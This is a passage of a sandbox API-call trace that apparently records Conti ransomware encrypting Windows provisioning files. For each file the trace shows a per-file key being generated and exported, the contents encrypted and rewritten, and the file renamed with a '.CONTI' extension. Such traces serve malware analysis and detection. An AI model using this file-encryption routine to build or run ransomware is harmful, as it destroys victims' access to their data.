	[0112.201] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml"
	[0112.201] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.201] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\501__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\501__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.202] GetProcessHeap () returned 0x1720000
	[0112.202] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.202] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0112.202] GetProcessHeap () returned 0x1720000
	[0112.202] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17de700 | out: hHeap=0x1720000) returned 1
	[0112.202] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0112.202] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x180d570 | out: phKey=0x180d570*=0x6b7f478) returned 1
	[0112.202] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180d574, pdwDataLen=0x587f8ac | out: pbData=0x180d574*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0112.203] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.204] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0112.204] GetLastError () returned 0x0
	[0112.204] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=718) returned 1
	[0112.204] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce
	[0112.204] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.204] SetEndOfFile (hFile=0x408) returned 1
	[0112.204] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.204] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.204] WriteFile (in: hFile=0x408, lpBuffer=0x180d574*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x180d574*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0112.213] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.214] ReadFile (in: hFile=0x408, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2ce, lpOverlapped=0x0) returned 1
	[0112.214] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2ce, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0) returned 1
	[0112.214] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.214] WriteFile (in: hFile=0x408, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.214] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.214] WriteFile (in: hFile=0x408, lpBuffer=0x180d568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x180d568*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0112.214] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.214] CloseHandle (hObject=0x408) returned 1
	[0112.214] GetProcessHeap () returned 0x1720000
	[0112.214] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.214] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml"
	[0112.214] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.214] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\503__connections_cellular_t-mobile usa_ wyless (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.215] GetProcessHeap () returned 0x1720000
	[0112.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.215] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0112.215] GetProcessHeap () returned 0x1720000
	[0112.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17df148 | out: hHeap=0x1720000) returned 1
	[0112.216] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0112.216] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x1812e68 | out: phKey=0x1812e68*=0x6b7f478) returned 1
	[0112.216] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1812e6c, pdwDataLen=0x587f8ac | out: pbData=0x1812e6c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0112.216] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml")) returned 0x20
	[0112.222] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0112.228] GetLastError () returned 0x0
	[0112.228] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=730) returned 1
	[0112.228] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2da
	[0112.233] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.234] SetEndOfFile (hFile=0x408) returned 1
	[0112.234] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.234] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.234] WriteFile (in: hFile=0x408, lpBuffer=0x1812e6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x1812e6c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0112.239] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.239] ReadFile (in: hFile=0x408, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2da, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2da, lpOverlapped=0x0) returned 1
	[0112.239] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2da, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2e0) returned 1
	[0112.239] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.239] WriteFile (in: hFile=0x408, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.239] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.239] WriteFile (in: hFile=0x408, lpBuffer=0x1812e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1812e60*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0112.239] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.239] CloseHandle (hObject=0x408) returned 1
	[0112.239] GetProcessHeap () returned 0x1720000
	[0112.239] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.239] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml"
	[0112.239] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.239] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\505__connections_cellular_verizon (united states) admin_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.240] GetProcessHeap () returned 0x1720000
	[0112.240] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.240] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0112.240] GetProcessHeap () returned 0x1720000
	[0112.240] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1815b20 | out: hHeap=0x1720000) returned 1
	[0112.240] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0112.240] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x18142f0 | out: phKey=0x18142f0*=0x17c83b0) returned 1
	[0112.241] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18142f4, pdwDataLen=0x587f8ac | out: pbData=0x18142f4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0112.241] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.241] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0112.242] GetLastError () returned 0x0
	[0112.242] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=740) returned 1
	[0112.242] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e4
	[0112.242] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.242] SetEndOfFile (hFile=0x408) returned 1
	[0112.242] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.242] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.242] WriteFile (in: hFile=0x408, lpBuffer=0x18142f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x18142f4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0112.245] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.245] ReadFile (in: hFile=0x408, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2e4, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2e4, lpOverlapped=0x0) returned 1
	[0112.245] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2e4, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2f0) returned 1
	[0112.245] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.245] WriteFile (in: hFile=0x408, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2f0, lpOverlapped=0x0) returned 1
	[0112.245] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.245] WriteFile (in: hFile=0x408, lpBuffer=0x18142e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x18142e8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0112.245] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.245] CloseHandle (hObject=0x408) returned 1
	[0112.245] GetProcessHeap () returned 0x1720000
	[0112.245] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.245] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml"
	[0112.246] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.246] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\50__connections_cellular_bh telekom bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.246] GetProcessHeap () returned 0x1720000
	[0112.246] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.246] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0112.246] GetProcessHeap () returned 0x1720000
	[0112.246] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6575c10 | out: hHeap=0x1720000) returned 1
	[0112.246] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0112.246] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x1813c18 | out: phKey=0x1813c18*=0x17c8470) returned 1
	[0112.246] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1813c1c, pdwDataLen=0x587f8ac | out: pbData=0x1813c1c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0112.247] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml")) returned 0x20
	[0112.247] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
